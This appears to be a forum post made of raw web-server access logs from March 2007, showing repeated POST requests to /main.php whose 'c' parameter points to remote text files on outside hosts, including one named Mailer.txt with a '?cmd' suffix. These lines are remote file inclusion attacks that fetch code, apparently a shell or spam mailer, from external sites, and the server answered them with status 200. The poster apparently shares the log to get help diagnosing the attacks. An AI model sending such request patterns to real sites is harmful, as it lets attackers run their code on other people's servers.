196.47.78.210 - - [12/Mar/2007:15:04:12 -0600] "POST /main.php?c=http://www.sapucai.org.br/v1/dados/redes.txt? HTTP/1.1" 200 10144 "http://www.mydomain.com/main.php?c=http://www.sapucai.org.br/v1/dados/redes.txt?" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
196.3.63.252 - - [12/Mar/2007:14:17:52 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 214679 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:14:19:13 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 268089 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.62.3 - - [12/Mar/2007:15:26:39 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 10497 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:16:21:10 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 49657 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:16:26:41 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 18643 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:25:33 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 54675 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:23:52 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 226674 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:27:28 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 63460 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:17:05:37 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 11619 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:17:06:28 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12460 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:23:18 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 254396 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:50:09 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 109234 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:17:09:34 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 32450 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:17:15:43 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 30638 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:17:30:24 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 18861 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:17:38:35 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 17065 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [12/Mar/2007:17:17:11 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 100490 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.220.1.58 - - [12/Mar/2007:18:17:27 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22014 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:21:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21438 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:26:23 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22194 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:28:55 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17958 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:30:37 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19594 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:32:34 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22382 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:34:34 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22616 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:38:14 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22310 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:18:41:30 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 20154 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.3.63.252 - - [12/Mar/2007:17:08:15 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 168511 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:17:22:49 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 133434 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.220.1.58 - - [12/Mar/2007:18:56:27 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12915 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.3.63.252 - - [12/Mar/2007:17:01:56 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 196134 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:17:07:23 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 180592 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.220.1.58 - - [12/Mar/2007:19:01:52 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13334 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:19:04:35 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13102 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:19:06:18 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13065 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.3.63.252 - - [12/Mar/2007:17:04:09 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 214744 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.220.1.58 - - [12/Mar/2007:19:24:31 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 16543 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:19:34:03 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 23847 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.3.63.252 - - [12/Mar/2007:16:44:13 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 322224 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:19:38:14 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 133420 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.220.1.58 - - [12/Mar/2007:19:43:41 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 16399 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.3.63.252 - - [12/Mar/2007:19:14:01 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 293587 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:45:43 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 491576 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:20:03:23 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 12221 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:19:24:41 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 247501 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:18:58:13 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 302481 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:16:44:26 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 371839 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:20:00:52 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 22683 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:19:42:44 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 70961 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:20:02:22 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 23553 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:18:56:04 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 125496 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:20:11:16 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 18752 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:20:04:30 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 51157 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:20:11:33 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 34908 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [12/Mar/2007:19:01:04 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 379274 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.220.1.58 - - [12/Mar/2007:20:36:50 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 16370 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:20:40:50 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21892 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.220.1.58 - - [12/Mar/2007:20:43:19 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 14828 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
67.151.233.29 - - [12/Mar/2007:20:56:33 -0600] "POST /main.php?c=http://star-gifts.com/blog.txt? HTTP/1.1" 200 10411 "http://www.mydomain.com/main.php?c=http://star-gifts.com/blog.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:17:27:53 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 381073 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:17:25:36 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 385444 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:17:26:34 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 381789 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:17:28:18 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 372026 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.62.3 - - [12/Mar/2007:17:27:19 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.0" 200 383048 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:21:05:36 -0600] "POST /main.php?c=http://star-gifts.com/blog.txt? HTTP/1.1" 200 151648 "http://www.mydomain.com/main.php?c=http://star-gifts.com/blog.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [12/Mar/2007:21:42:24 -0600] "POST /main.php?c=http://star-gifts.com/blog.txt? HTTP/1.1" 200 33622 "http://www.mydomain.com/main.php?c=http://star-gifts.com/blog.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

Danny Tran

Mar 14 2007, 06:07 AM

Continued ...

41.204.224.10 - - [13/Mar/2007:01:16:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21173 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:21:24 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 11709 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:01:22:54 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 23875 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:26:52 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19449 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:28:08 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 25739 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:31:55 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22635 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:34:22 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17153 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:36:19 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19754 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:40:30 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19393 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:46:34 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19860 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:50:42 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19773 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:01:53:01 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 23487 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:18:12 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 17363 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:22:52 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21320 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:26:08 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21588 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:28:49 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21709 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:33:15 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13998 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:32:05 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21428 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:37:09 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 16342 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:03:36:06 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 19012 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
